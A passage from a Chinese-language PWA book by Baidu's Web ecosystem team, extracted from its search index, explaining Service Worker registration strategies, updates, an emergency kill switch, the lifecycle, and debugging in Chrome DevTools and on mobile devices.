MPA 架构下怎么去注册 Service Worker 呢？是不同的页面注册不同的 Service Worker，还是所有的页面都注册同一个 Service Worker？结论是：需要根据实际情况来定。 MPA 注册单个 Service Worker 在每个页面之间的业务相似度较高，或者每个页面之间的公共静态资源或异步请求较多，这种 MPA 是非常适合在所有的页面只注册一个 Service Worker。 例如 https://somehost/a 和 htps://somehost/b 之间的公共内容较多，则通常情况下在 / 作用域下注册一个 Service Worker。这样这个 Service Worker 能够控制 https://somehost 域下的所有页面。 MPA 维护单个 Service Worker 有如下特点： 可以统一管理整个站点的缓存。 不会造成页面之间的作用域污染。 后期维护成本相对较低。 MPA 注册多个 Service Worker MPA 注册多个 Service Worker 适用于主站非常庞大的 Web App，并且是以 path 分隔的形式铺展垂类子站的大型 Web App，这种情况下就不适合只在 / 作用域下只注册一个 Service Worker 了。 例如：https://somehost/a 和 https://somehost/b 几乎是两个站点，其中公共使用的静态资源或异步请求非常少，则比较适合每个子站注册维护自己的 Service Worker，https://somehost/a 注册 Servcie Worker 的作用域为 /a/，最好是存在 /a/sw.js 对应的 Service Worker 文件 URL 可访问，尽量不要使用某一个公用的 /sw.js 并使用 scope 参数来自定义作用域，这样会增加后期的维护成本以及增加出现 bug 的风险。 子站在实现上还要考虑一点是，防止其他页面的 Service Worker 对自身页面造成污染，需要在注册子站 Service Worker 之前将不是子站 path 作用域的 Service Worker 先注销掉。 注册多个 Service Worker 有如下特点： 需要严格要求每个子站管理好自己的 sw.js 及作用域。 防止对其他子站的 Service Worker 造成影响。 相比较整个站点只注册一个 Service Worker，这种维护多个 Service Worker 的方式更加灵活。 随着子站的增多，风险相对会更加大，也更加难以维护。 Service Worker 更新 当在页面中通过 sw.js 注册了一个 Service Worker 之后，如果 sw.js 内容发生了变更，Service Worker 该如何更新呢？ 拿 SPA 为例，作为 AppShell 的载体 index.html 是会被缓存起来的，AppShell 的静态资源也都会被缓存起来的，由于 Service Worker 的注册入口必须是在主线程完成，所以 Service Worker 的注册必然是需要在 index.html 的 标签或者被缓存住的 JavaScript 文件中来实现的。 如果 Web App 功能发生了升级更新，我们预期的结果是当用户刷新页面的时候希望浏览器立即更新当前页面的缓存，并且立即加载最新的内容和资源，呈现最新的效果给用户看到。可是用户在刷新页面的时候看到的还是之前缓存的老的内容，这时候该如何处理呢？ 通常在每次进行 Web App 升级的时候，都必须伴随着 Service Worker 文件 sw.js 的升级，当浏览器检测到 sw.js 的升级之后，就会重新触发注册、安装、激活、控制页面的流程，并在这个过程中就会更新当前 Web App 的离线缓存为最新的上线内容。 在执行 navigator.serviceWorker.register() 方法注册 Service Worker 的时候，浏览器通过自身 diff 算法能够检测 sw.js 的更新包含两种方式： Service Worker 文件 URL 的更新 Service Worker 文件内容的更新 在实际项目中，在 Web App 新上线的时候，通常是在注册 Service Worker 的时候，通过修改 Service Worker 文件的 URL 来进行 Service Worker 的更新，一般采用以下代码所示的方式处理： if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw.js?v=20190401235959') } 每次 Web App 上线构建的时候，维护一个最新的唯一构建版本号，将构建版本号写入 Service Worker 文件 URL 的版本号参数中，这样的话，就能够保证每次 Web App 有最新上线功能的时候，都能够有最新的 Service Worker 文件 diff 让浏览器能够检测到。当然，除了改变 Service Worker 文件 URL，还可以改变 Service Worker 文件的内容，如下代码所示： // sw.js self.version = '20190401235959' 注意： 在 sw.js 中，self 为 Service Worker 线程的全局命名空间，类似于主线程的 window，在 sw.js 中是访问不到 window 命名空间的。 在 Web App 每次上线新的功能，项目进行构建的时候，可以将最新的唯一构建版本号写在 sw.js 文件内，这样也能保证每次 Web App 都能够有最新的 Service Worker 文件 diff 被浏览器检测到。 Service Worker 容错 由于 Service Worker 一旦上线就会永久生效，如果发现线上 Service Worker 有 bug 该怎么办呢？有一种亡羊补牢的方法是重新上一次线，注销掉有 bug 的 Service Worker，假如现在有一个现存的项目 serviceWorkerUnregisterDemo，项目目录如下： . └── serviceWorkerUnregisterDemo/ ├── index.html └── sw.js 如果需要紧急下线该项目的 Service Worker，则 index.html 代码如下所示： Service Worker Unregister Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.getRegistrations() .then(regs => { for (let reg of regs) { // 注销掉所有的 Service Worker reg.unregister() } }) } 这种方法是在发现 Service Worker 出现问题之后，必须重新上线 Web App 来解决问题，这样的成本比较高。一般大型 Web App 上线的过程也非常复杂，上线周期长，所以这种止损效果较差，不是很可取。还有一种方法可以避免重新上线 Web App，只需要在 Service Worker 注册的时候通过一个 “开关请求” 做一个容错降级的处理，这个开关请求需要满足几个条件： 能够快速上线，和 Web App 的上线解耦 不能被缓存（无论是 HTTP 缓存还是 Service Worker 缓存） 在实际项目中，通常开关请求会维护成一个 JavaScript 文件（当然也可以是任何一种请求类型，只不过 JavaScript 文件通常比较好维护，而且无需考虑请求跨域的问题），放在某一个可以快速上线的静态资源服务器。那么现在可以修改 serviceWorkerUnregisterDemo 项目的 index.html 代码来看看具体如何解决问题的，代码如下面所示： Service Worker Unregister Demo if ('serviceWorker' in navigator) { // 正常进行注册 Service Worker navigator.serviceWorker.register('./sw.js?v=20190401235959') let script = document.createElement('script') // 假设这个 JS 中存在 Service Worker 开关全局变量 script.src = 'https://some-static-cdn-host/sw-on-off.js' script.async = true script.onload = () => { // Service Worker 开关全局变量的名称 if (window.SW_TURN_OFF) { navigator.serviceWorker.getRegistrations() .then(regs => { for (let reg of regs) { // 注销掉所有的 Service Worker reg.unregister() } }) } } document.body.appendChild(script) } 假如在 https://some-static-cdn-host/sw-on-off.js 静态资源服务器维护了一个开关 JavaScript 文件，那这个文件正常情况下的代码内容如下所示： /** * @file https://some-static-cdn-host/sw-on-off.js */ // 当 Web App 线上出现紧急问题的时候将值设为 true 并上线 window.SW_TURN_OFF = false 小结 本节从注册 Service Worker 的角度出发，详细的介绍了在注册 Service Worker 的过程中需要考虑哪些问题，在不同的项目架构或者不同的情况下，注册 Service Worker 的考量点都是不一样的，接来下将会详细介绍 Service Worker 的技术细节，了解 Service Worker 到底是如何进行 PWA 的离线缓存的。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter04/3-service-worker-dive.html\":{\"url\":\"chapter04/3-service-worker-dive.html\",\"title\":\"4.3 Service Worker 工作原理\",\"keywords\":\"\",\"body\":\"Service Worker 工作原理 前面已经介绍了 Service Worker 是一个工作线程的本质，也了解了 Service Worker 可以离线工作，还介绍了 Service Worker 在主线程中是如何被注册的。但是到现在为止还是不知道 Service Worker 具体怎么在实际项目中应用。也不知道如何去开发和维护一个 Service Worker 文件。我们已经知道了 Service Worker 是可以对 Web App 的资源和请求进行离线缓存，那它到底是如何进行离线缓存控制的呢？ 在本节，我们会深入的介绍一下 Service Worker 的工作原理，Service Worker 的工作原理主要体现在它的生命周期上，一个 Service Worker 从被注册开始，就会经历自身的一些生命周期的节点，而在这些节点都可以去做一些特定的事情，比如一些复杂的计算、缓存的写入、缓存的读取等操作。通过这些生命周期节点的联合调度，Service Worker 才能完成复杂的资源离线缓存的工作。而开发者只有了解了 Service Worker 的生命周期，才能通过设计相关逻辑，并开发 Service Worker 文件 sw.js ，让 Service Worker 去完成 PWA 离线缓存策略。 生命周期 先来了解下什么是 Service Worker 的生命周期，每个 Service Worker 都有一个独立于 Web 页面的生命周期，其示意图如下图所示。 在主线程成功注册 Service Worker 之后，开始下载并解析执行 Service Worker 文件，执行过程中开始安装 Service Worker，在此过程中会触发 worker 线程的 install 事件。 如果 install 事件回调成功执行（在 install 回调中通常会做一些缓存读写的工作，可能会存在失败的情况），则开始激活 Service Worker，在此过程中会触发 worker 线程的 activate 事件，如果 install 事件回调执行失败，则生命周期进入 Error 终结状态，终止生命周期。 完成激活之后，Service Worker 就能够控制作用域下的页面的资源请求，可以监听 fetch 事件。 如果在激活后 Service Worker 被 unregister 或者有新的 Service Worker 版本更新，则当前 Service Worker 生命周期完结，进入 Terminated 终结状态。 Service Worker 生命周期是一个比较复杂的知识点，其中有较多的细节需要深入理解，为了更清楚的进行介绍，接下来新建一个项目 serviceWorkerLifecycleDemo，项目目录结构如下： . └── serviceWorkerLifecycleDemo/ ├── imgs/ │ └── dog.jpg ├── index.html └── sw.js 首先，需要有一个 Service Worker 的注册入口，所以 index.html 的代码内容如下所示： Service Worker Lifecycle Demo if ('serviceWorker' in navigator) { // 由于 127.0.0.1:8000 是所有测试 Demo 的 host // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker navigator.serviceWorker.getRegistrations() .then(regs => { for (let reg of regs) { reg.unregister() } navigator.serviceWorker.register('./sw.js') }) } 注意： 由于 Service Worker 一旦注册后就会永久生效，而生效的控制范围是根据作用域来控制的，我们所有的测试 host 都为 127.0.0.1:8000，这样会导致新的项目还没注册 Service Worker 却已经被之前注册的 Service Worker 所控制，所以通常在注册新的 Service Worker 的时候，为了彻底防止作用域污染的做法就是在注册前将所有现存控制当前页面的 Service Worker 全部注销掉，或者在 Chrome Devtools 中每次都将老的 Service Worker 手动 unregister 掉。 这次在 serviceWorkerLifecycleDemo 项目的 HTML 文件中加入一个 标签来加载一张图片，主要是用来理解 Service Worker 如何在生命周期中进行离线与缓存处理的。 虽然空的 Service Worker 文件也是可以通过注册来新开一个 Service Worker 线程，但是通常 Service Worker 文件中需要编写一些 JavaScript 代码逻辑来完成 Web App 的离线与缓存的策略设计。接下来我们会一步步的详细讲解这些代码该如何编写，首先先给 sw.js 写入以下代码，用来理解 Service Worker 的生命周期： // sw.js console.log('service worker 注册成功') self.addEventListener('install', () => { // 安装回调的逻辑处理 console.log('service worker 安装成功') }) self.addEventListener('activate', () => { // 激活回调的逻辑处理 console.log('service worker 激活成功') }) self.addEventListener('fetch', event => { console.log('service worker 抓取请求成功: ' + event.request.url) }) 这段代码一开始是直接通过 console.log() 打印输出一段内容，然后绑定了三个事件，分别是 install、activate、fetch 事件，用来响应 Service Worker 生命周期的事件触发。 接下来用 Chrome 浏览器来测试一下 serviceWorkerLifecycleDemo 这个例子，为了更好的理解测试结果，在打开测试页面 http://127.0.0.1:8000 之前需要将所有的浏览器标签关闭（后面会详细解释为什么需要如此操作）。不出意外的话，第一次访问 http://127.0.0.1:8000 页面的时候 Chrome Devtools Console 控制台的打印结果如下： service worker 注册成功 service worker 安装成功 service worker 激活成功 当我们第二次刷新页面的时候，这时候控制台的打印结果如下： service worker 抓取请求成功：http://127.0.0.1:8000/imgs/dog.jpg 从这个执行结果来看，初步能够说明以下几点： Service Worker 文件只在首次注册的时候执行了一次。 安装、激活流程也只是在首次执行 Service Worker 文件的时候进行了一次。 首次注册成功的 Service Worker 没能拦截当前页面的请求。 非首次注册的 Service Worker 可以控制当前的页面并能拦截请求。 Service Worker 在内部都有一系列的工作流程，这些工作流程决定了开发者可以在 Service Worker 文件中如何进行开发。下图展示的是 Service Worker 工作流程图。 实际上 Service Worker 首次注册或者有新版本触发更新的时候，才会重新创建一个 worker 工作线程并解析执行 Service Worker 文件，在这之后并进入 Service Worker 的安装和激活生命周期。 而在首次注册、安装、激活之后，Service Worker 已经拿到了当前页面的控制权了，但为什么首次刷新却没有拦截到网络请求呢？主要是因为在 Service Worker 的注册是一个异步的过程，在激活完成后当前页面的请求都已经发送完成，因为时机太晚，此时是拦截不到任何请求的，只能等待下次访问再进行。 而第二次刷新页面，由于当前站点的 Service Worker 是处于激活状态，所以不会再次新建 worker 工作线程并执行 Service Worker。也就是说激活状态的 Service Worker 在一个站点只会存在一个 worker 工作线程，除非 Service Worker 文件发生了变化（手动 unregister Service Worker 也会注销掉 worker 工作线程），触发了浏览器更新，才会重新开启生命周期。而由于 Service Worker 工作线程的离线特性，只要处于激活状态，在后续的任何访问中，都会通过 fetch 事件监听器拦截当前页面的网络请求，并执行 fetch 事件回调。 waitUntil 机制 如果 Service Worker 安装失败会导致 Service Worker 生命周期终止。由于 Service Worker install 回调是在用户首次访问注册的时候才会触发，所以在项目设计的时候，会将 Web App 一些只有上线才会改变的静态资源会在 install 阶段进行缓存，让用户更快的体验到缓存加速的好处。如果缓存成功了才算是 Service Worker 安装完成，如果这些静态资源缓存失败了，那 Service Worker 安装就会失败，生命周期终止。 什么情况下才算是 Service Worker 安装失败呢？如果在 Service Worker 文件中的 install 回调中写一段错误逻辑会不会导致安装失败呢？接下来修改一下 serviceWorkerLifecycleDemo 的 sw.js，代码如下： // sw.js console.log('service worker 注册成功') self.addEventListener('install', () => { // 一段一定会报错的代码 console.log(a.undefined) console.log('service worker 安装成功') }) self.addEventListener('activate', () => { // 激活回调的逻辑处理 console.log('service worker 激活成功') }) self.addEventListener('fetch', event => { console.log('service worker 抓取请求成功: ' + event.request.url) }) 在 install 事件回调中，插入了一段一定会报错的代码，看看是不是会导致 Service Worker 的安装失败呢？ 注意： 前面介绍过，由于修改了 sw.js，所以会触发 Service Worker 更新机制，而这次测试是纯粹介绍首次安装失败的情况，为保证实验的纯粹性，需要在 Chrome DevTools 中将存在的 Service Worker 手动 unregister 掉，在后面介绍 Service Worker 更新机制的时候会详细解释其原理。 示例运行结果如下图所示： 从运行结果看，当 install 回调中的逻辑报错了，并不会影响 Service Worker 的生命周期继续向后推进，因为运行结果还是有 激活成功，甚至第二次刷新发现还能正常拦截请求。 所以说并不是 intall 回调中出错了就会导致生命周期中断。由于 Service Worker 生命周期异步触发的特性，并不是像同步执行模式，如果报错就会中断执行。Service Worker 事件回调的参数是一个 ExtendableEvent 对象，在 Service Worker 中需要使用 ExtendableEvent.waitUntil() 方法来保证生命周期的执行顺序。该方法接收一个 Promise 参数，开发者通常会将安装的回调执行逻辑（如缓存的写入）封装在一个 Promise 里，如果操作报错应该通过 Promise 来 reject 错误，这样 Service Worker 就知道了安装失败，然后 Service Worker 就能中断生命周期。接下来修改 sw.js 代码如下所示： // sw.js console.log('service worker 注册成功') self.addEventListener('install', event => { // 引入 event.waitUntil 方法 event.waitUntil(new Promise((resolve, reject) => { // 模拟 promise 返回错误结果的情况 reject('安装出错') // resolve('安装成功') })) }) self.addEventListener('activate', () => { // 激活回调的逻辑处理 console.log('service worker 激活成功') }) self.addEventListener('fetch', event => { console.log('service worker 抓取请求成功: ' + event.request.url) }) 这时候运行刷新页面的时候发现 Service Worker 的生命周期中断，而且没有执行 activate 事件回调。当将 reject('安装失败') 改成 resolve('安装成功') 的时候，会发现 Service Worker 能够顺利激活。事实上，ExtendableEvent.waitUntil() 方法扩展了事件的生命周期。在服务工作线程中，延长事件的寿命能够阻止浏览器在事件中的异步操作完成之前终止 worker 工作线程。 在 install 事件回调被调用时，它把即将被激活的 worker 线程状态延迟为 installing 状态，直到传递的 Promise 被成功地 resolve。这主要用于确保：Service Worker 工作线程在所有依赖的核心 cache 被缓存之前都不会被安装。 不只是 install 事件回调可以调用这个方法，如果在 activate 事件回调被调用时，它把即将被激活的 worker 线程状态延迟为 activating 状态，直到传递的 Promise 被成功地 resolve。这主要用于确保：任何功能事件不会被分派到 ServiceWorkerGlobalScope 对象，直到它升级数据库模式并删除过期的缓存条目。 当 ExtendableEvent.waitUntil() 运行时，如果 Promise 是 resolved，任何事情都不会发生；如果 Promise 是 rejected，installing 或者 activating 的状态会被设置为 redundant。 注意： 如果在 ExtendableEvent 处理程序之外调用 waitUntil()，浏览器会抛出一个InvalidStateError 错误。 如果多个调用将会堆叠，所产生的所有 promise 将被添加到延长生命周期的 promise 等待执行完成。 终端 在运行 serviceWorkerLifecycleDemo 示例的时候，提到了需要关闭所有浏览器标签再打开测试页面，其中主要的原因是涉及到 Service Worker 的终端（clients）的概念。 最直接的解释是每一个打开 http://127.0.0.1:8000 页面的浏览器标签都是一个终端，如下图所示。 在手机端或者 PC 端浏览器，每新打开一个已经激活了 Service Worker 的页面，那 Service Worker 所控制的终端就新增一个，每关闭一个包含已经激活了 Service Worker 页面的时候（不包含手机端浏览器进入后台运行的情况），则 Service Worker 所控制的终端就减少一个，如上图打开了三个浏览器标签，则当前 Service Worker 控制了三个终端，通过 Chrome 浏览器 Devtools 的 Applications -> ServiceWorker 标签可以查看如下图所示 Service Worker 控制的三个终端。 当刷新其中一个浏览器标签的时候，会发现一个奇怪的现象，当前的浏览器标签的控制台打印了一条信息如下所示： service worker 抓取请求成功: http://127.0.0.1:8000/imgs/dog.jpg 而并没有对其他的两个浏览器标签进行刷新，但是它们的控制台也出现了打印信息： service worker 抓取请求成功: http://127.0.0.1:8000/ service worker 抓取请求成功: http://127.0.0.1:8000/imgs/dog.jpg 这主要是因为，所有的终端共用一个 worker 工作线程，当在 worker 线程中执行 console.log() 方法打印内容的时候，会作用到所有的终端，worker 工作线程和终端的关系如下图 4-12 所示。 console.log 是浏览器提供的一种特殊的 I/O 操作，并不是常规操作。通常开发者不会这样来应用这种终端机制，一般而是借助 postMessage 机制来通过 worker 工作线程控制终端，worker 线程在某个生命周期回调 postMessage 给各个终端，终端预先绑定 onmessage 事件，回调处理 worker 线程发送过来的指令，可以做一些后台统计的相关工作，甚至可以用这种机制在 Service Worker 线程中，集中对所有终端的 UI 进行统一处理。 clients.claim() 方法 如果使用了 skipWaiting 的方式跳过 waiting 状态，直接激活了 Service Worker，可能会出现其他终端还没有受当前终端激活的 Service Worker 控制的情况，切回其他终端之后，Service Worker 控制页面的效果可能不符合预期，尤其是如果 Service Worker 需要动态拦截第三方请求的时候。 为了保证 Service Worker 激活之后能够马上作用于所有的终端，通常在激活 Service Worker 后，通过在其中调用 self.clients.claim() 方法控制未受控制的客户端。self.clients.claim() 方法返回一个 Promise，可以直接在 waitUntil() 方法中调用，如下代码所示： self.addEventListener('activate', event => { event.waitUntil( self.clients.claim() .then(() => { // 返回处理缓存更新的相关事情的 Promise }) ) }) 注意： 很多开发者默认就在 Service Worker 文件中使用 self.clients.claim()。不建议这么绝对，还是要根据具体项目而定，主要看是否有激活 Service Worker 之后马上控制所有终端的需求。 Service Worker 更新原理 在运行 serviceWorkerLifecycleDemo 的时候，之前提到过，在每次修改 Service Worker 文件的时候，如果需要刷新页面验证效果，都应提前在 Chrome Devtools 中手动 unregister 当前的 Service Worker，主要是因为修改 Service Worker 文件都会触发其更新，而 Service Worker 的更新过程比较复杂，为了区分首次安装、激活和更新触发的安装、激活，保证效果的一致性，所以才有此建议。那接下来重点地讲解一下 Service Worker 的更新原理，看看里面到底有什么门道。 修改 serviceWorkerLifecycleDemo 的 index.html 中注册 sw.js 部分的逻辑，用于触发 Service Worker 的更新（当然也可以修改 Service Worker 文件的某些内容），如下所示： // 触发 Service Worker 的更新 navigator.serviceWorker.register('./sw.js?v=20190401235959') 刷新页面之后控制台打印的内容只有 注册成功，说明更新 Service Worker 会重新解析执行 Service Worker 的 JavaScript 代码，会触发安装回调，但是没有完成激活。查看 Chrome Devtools 的 Service Worker 面板发现 Service Worker 确实卡在激活状态了，状态为 waiting to activate，如下图所示： 这就是更新 Service Worker 和首次安装 Service Worker 的一个区别所在。下面通过下图了解一下 Service Worker 更新的原理。 当浏览器监测到新的 Service Worker 更新之后，会重新进行注册、安装，当检测到当前的页面被激活态的 Service Worker 控制着的话，会进入 waiting 状态，之后可以有两种选择： 通过 skipWaiting 跳过 waiting 状态 在所有终端保持 waiting 状态，直到 Service Worker 对所有终端失去控制（关闭所有终端的时候） 通过运行 serviceWorkerLifecycleDemo 可以发现，将之前启动的三个终端全部关闭掉，然后再新开一个浏览器标签打开 http://127.0.0.1:8000 之后，会发现新的 Service Worker 已经激活成功。 还可以有另外一种方法，就是在 Chrome Devtools 中点击 “skipWaiting” 按钮，这样就会发现 Service Worker 直接进入了激活状态（反复测试 Demo，记得修改 Service Worker 内容或 URL 以触发 Service Worker 的更新）。 skipWaiting Service Worker 一旦更新，需要等所有的终端都关闭之后，再重新打开页面才能激活新的 Service Worker，这个过程太复杂了。通常情况下，开发者希望当 Service Worker 一检测到更新就直接激活新的 Service Worker。如果不想等所有的终端都关闭再打开的话，只能通过 skipWaiting 的方法了，但是总不能让用户自己去浏览器中点击 “skipWaiting” 按钮吧？ Service Worker 在全局提供了一个 skipWaiting() 方法，skipWaiting() 在 waiting 期间调用还是在之前调用并没有什么不同。一般情况下是在 install 事件中调用它，接下来验证一下效果，可以通过如下代码所示的方式修改 sw.js 代码。 // sw.js console.log('service worker 注册成功') self.addEventListener('install', event => { // 跳过等待 self.skipWaiting() // 引入 event.waitUntil 方法 event.waitUntil(new Promise((resolve, reject) => { // 模拟 promise 返回错误结果的情况 // reject('安装出错') resolve('安装成功') console.log('service worker 安装成功') })) }) self.addEventListener('activate', () => { // 激活回调的逻辑处理 console.log('service worker 激活成功') }) self.addEventListener('fetch', event => { console.log('service worker 抓取请求成功: ' + event.request.url) }) 通过调用 skipWaiting() 方法，运行 Demo 之后刷新任何一个页面都会发现，新的 Service Worker 被激活了。这种方式也被普遍应用在 Service Worker 的更新策略中，主要是为了让用户能够最快的体验到站点的升级和变化。 注意： skipWaiting() 意味着新 Service Worker 可能会控制使用较旧 Service Worker 控制的页面。这意味着页面提取的部分数据将由旧 Service Worker 处理，而新 Service Worker 处理后来提取的数据。如果预期到缓存数据不一致的现象会导致问题，则不要使用 skipWaiting() 跳过 waiting 状态。 手动更新 当刷新页面重新执行 register 方法的时候，浏览器检测到 Service Worker 文件更新就会触发 Service Worker 更新，但是如果站点在浏览器后台长时间没有被刷新，则浏览器将自动检查更新，通常是每隔 24 小时检查一次，但是 24 小时也太长了，所以也可以在代码中手动触发更新，通常做法如下代码所示： navigator.serviceWorker.register('/sw.js') .then(reg => { setInterval(() => { reg.update() }, 60 * 60 * 1000) }) 如果开发者期望用户可以长时间使用您的网站而不必重新加载，您需要按一定间隔（如每小时）调用 update() 方法。 update on reload Service Worker 生命周期是专为用户构建的，这就给开发工作带来一定的困难。幸运的是，我们可借助 Chrome 的 Devtools 的 “update on reload” 功能，在开发调试 Service Worker 生命周期的时候非常友好。如下图所示。 通过 update on reload 功能，开发者可以做到以下几点： 重新提取 Service Worker。 即使字节完全相同，也将其作为新版本安装，这表示运行 install 事件并更新缓存。 跳过 waiting 阶段，直接激活新 Service Worker。 浏览页面，每次浏览时（包括刷新）都将进行更新，无需重新加载两次或关闭标签。 所以在测试 serviceWorkerLifecycleDemo 的时候，不妨试一下 update on reload 功能吧。 小结 本节介绍了 Service Worker 的生命周期以及更新机制，了解了 Service Worker 具体的运作方式。虽然目前对 Service Worker 技术点有了全面的了解，但是还是没有涉及到任何离线与缓存相关的东西，为了更加系统深入了解 PWA 离线缓存机制，在下一章中会对 Service Worker 缓存管理进行详细介绍。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter04/4-service-worker-debug.html\":{\"url\":\"chapter04/4-service-worker-debug.html\",\"title\":\"4.4 Service Worker 调试\",\"keywords\":\"\",\"body\":\"Service Worker 调试 在开发 Service Worker 文件的过程中，如何调试呢？怎么才能确保线下开发的 Service Worker 文件在经过注册后到线上去运行是符合预期的呢？在这小节中将详细介绍如何调试 Service Worker。 Service Worker 作为独立于主线程的独立线程，在调试方面其实和常规的 JavaScript 开发类似，通常开发者关注的点大概有如下几点： Service Worker 文件 JavaScript 代码是否有报错。 Service Worker 能否顺利安装、激活或者更新。 在不同机型上的兼容性是不是有问题。 不同类型资源和请求的缓存策略的验证。 debug 环境下的开发跳过等待状态 根据 Service Worker 生命周期的特性，如果浏览器还在使用旧的 Service Worker 版本，即使有 Service Worker 新的版本也不会立即被浏览器激活，只能进行安装并进入等待状态，直到浏览器 Tab 标签被重新关闭打开。 在开发调试 Service Worker 时，肯定希望重新加载后立即激活，通常开发者不希望每次都重新打开当前页面调试，为此可以在 install 事件发生时通过 skipWaiting() 来跳过 Service Worker 的 waiting 状态。这样每次 Service Worker 安装后就会被立即激活，通常在 sw.js 中实现如下代码所示： self.addEventListener('install', () => { if (ENV === 'development') { self.skipWaiting() } }) 借助 Chrome Devtool 进行调试 使用 Chrome 浏览器，可以通过进入控制台 Application -> Service Workers 面板查看和调试。其效果如下图所示： 如果 Service Worker 线程已安装到当前打开的页面上，接下来会看到它将列示在此窗格中。例如：在上图中，展示的是在 https://lavas-project.github.io/lavas-demo/news-v2/#/ 的作用域内安装了一个 Service Worker 线程。 为了更熟练的运用 Chrome Devtools 调试 Service Worker，首先需要熟悉以下这些选项： Offline： 复选框可以将 DevTools 切换至离线模式。它等同于 Network 窗格中的离线模式。 Update on reload：复选框可以强制 Service Worker 线程在每次页面加载时更新。 Bypass for network：复选框可以绕过 Service Worker 线程并强制浏览器转至网络寻找请求的资源。 Update：按钮可以对指定的 Service Worker 线程执行一次性更新。 Push：按钮可以在没有负载的情况下模拟推送通知。 Sync：按钮可以模拟后台同步事件。 Unregister：按钮可以注销指定的 Service Worker 线程。 Source：告诉当前正在运行的 Service Worker 线程的安装时间，链接是 Service Worker 线程源文件的名称。点击链接会将定向并跳转至 Service Worker 线程来源。 Status：告诉 Service Worker 线程的状态。此行上的数字指示 Service Worker 线程已被更新的次数。如果启用 update on reload 复选框，接下来会注意到每次页面加载时此数字都会增大。在状态旁边会看到 start 按钮（如果 Service Worker 线程已停止）或 stop 按钮（如果 Service Worker 线程正在运行）。Service Worker 线程设计为可由浏览器随时停止和启动。 使用 stop 按钮明确停止 Service Worker 线程可以模拟这一点。停止 Service Worker 线程是测试 Service Worker 线程再次重新启动时的代码行为方式的绝佳方法。它通常可以揭示由于对持续全局状态的不完善假设而引发的错误。 Clients：告诉 Service Worker 线程作用域的原点。如果已启用 show all 复选框，focus 按钮将非常实用。 在此复选框启用时，系统会列出所有注册的 Service Worker 线程。如果这时候点击正在不同标签中运行的 Service Worker 线程旁的 focus 按钮，Chrome 会聚焦到该标签。 如果 Service Worker 文件在运行过程中出现了任何的错误，将显示一个 Error 新标签，如下图所示。 当然也可以直接访问 Chrome://serviceworker-internals 来打开 serviceWorker 的配置面板，查看所有注册的 Service Worker 情况。 注意： 如无必要，不要选中顶部的 Open DevTools window and pause javaScript execution on Service Worker startup for debugging 复选框，否则每当刷新页面调试时都会弹出一个开发者窗口来。 在 Firefox 中，可以通过 Tools -> Web Developer -> Service Workers 打开调试面板。也可以访问 about:debugging#workers 直接进入该面板。 查看 Service Worker 缓存内容 通过前面的章节已经了解过，Service Worker 使用 Cache API 进行缓存的读写，同样可以在 Chrome DevTools 上查看缓存的资源列表。 Cache Storage 选项卡提供了一个已使用（Service Worker 线程）Cache API 缓存的只读资源列表，如下图所示。 如果打开了两个或多个缓存，那在 Application 标签下的 Caches 面板将看到它们会陈列在 Cache Storage 下拉菜单下方，如下图所示。 当然，Cache Storage 提供清除 Cache 列表的功能，在选择 Cache Storage 选项卡后在 Cache Storge 缓存的 key 的 item 上右键点击出现 delete ，点击 delete 就可以清除该缓存了，如下图所示。 也可以选择 Clear Storage 选项卡进行清除缓存。 网络跟踪 此外经过 Service Worker 的 fetch 请求 Chrome 都会在 Chrome DevTools Network 标签页里标注出来，其中： 来自 Service Worker 的内容会在 Size 字段中标注为 from ServiceWorker Service Worker 发出的请求会在 Name 字段中添加 ⚙ 图标。 如下图所示，第一个名为 300 的请求是一张 jpeg 图片， 其 URL 为 https://unsplash.it/200/300，该请求是由 Service Worker 代理的， 因此被标注为 from ServiceWorker。 为了响应页面请求，Service Worker 也发出了名为 300 的请求（这是下图中第二个请求），但 Service Worker 把 URL 改成了 https://unsplash.it/g/200/300，因此返回给页面的图片是灰色的。 真机调试 由于 Service Worker 必须要在 HTTPS 环境下才能被注册成功，所以在真机调试的过程中还需要解决 HTTPS 调试问题，当然 127.0.0.1 和 localhost 是被允许的 host，但是在真机调试上无法指定为到 PC 上的本地服务器，所以真机 debug 必须要求是已经部署好的 https PWA 站点。 Android inspect 远程调试 对于 Android 设备，可以借助于 Chrome 的 inspect 方法进行调试 PWA，其中有几个事项是需要提前准备的： PC 上已安装 Chrome 32 或更高版本。 PC 上已安装 USB 驱动程序（如果使用 Windows），确保设备管理器报告正确的 USB 驱动程序。 一根可以将 Android 设备连接至开发计算机的 USB 线。 一台 Android 4.0 或更高版本的 Android 设备。 接下来可以通过以下步骤进行调试： 将 Android 设备通过 USB 线与 PC 连接。 在 Android 设备上进行一些设置，选择 设置 > 开发者选项 > 开启 USB 调试。 在 PC 上打开 Chrome，使用一个 Google 帐户登录到 Chrome。（远程调试在隐身模式或访客模式下无法运行）。 在 PC 的 Chrome 浏览器地址栏输入 chrome://inspect。 在 Remote Target 下找到对应的 Android 设备。 点击远程设备链接进入 Chrome Devtools。 这样的话就可以在 Chrome 的 Devtools 直接调试运行在 Android 手机端 Chrome 的 PWA 站点，体验完全和在本地 PC 电脑上 debug 一摸一样。 iOS 远程真机调试 对于 iOS 设备运行的 PWA，真机 debug 有点麻烦，好在 Apple Safari 也提供了一套远程调试的方案，可以借助于 Web Inspector（web 检查器）机制来完成真机调试。在开始调试之前需要准备以下工具： 一台 Mac 电脑。 一个 icloud 账号。 一个 Apple 的移动设备（iPhone）。 用 iCloud 账号登陆 Mac 和 iPhone。 对 iPhone 进行设置：设置 > Apple ID 用户中心入口 > iCloud > 打开 Safari。 对 iPhone 进行设置：设置 > Safari浏览器 > 高级 > 打开 Web Inspector。 对 Mac 进行设置： > 系统偏好设置 > iCloud > 勾上 Safari。 对 Mac 进行设置：打开 Safari > Safari 菜单 > 偏好设置 > 高级 > 勾选“在菜单栏中显示开发菜单”（这时候 Safari 的系统菜单栏多了一个 开发 标签）。 当完成了准备工作后，下面可以开始调试了，调试步骤如下： 用 USB 线连接 iPhone 和 Mac。 在 iPhone 上打开 PWA 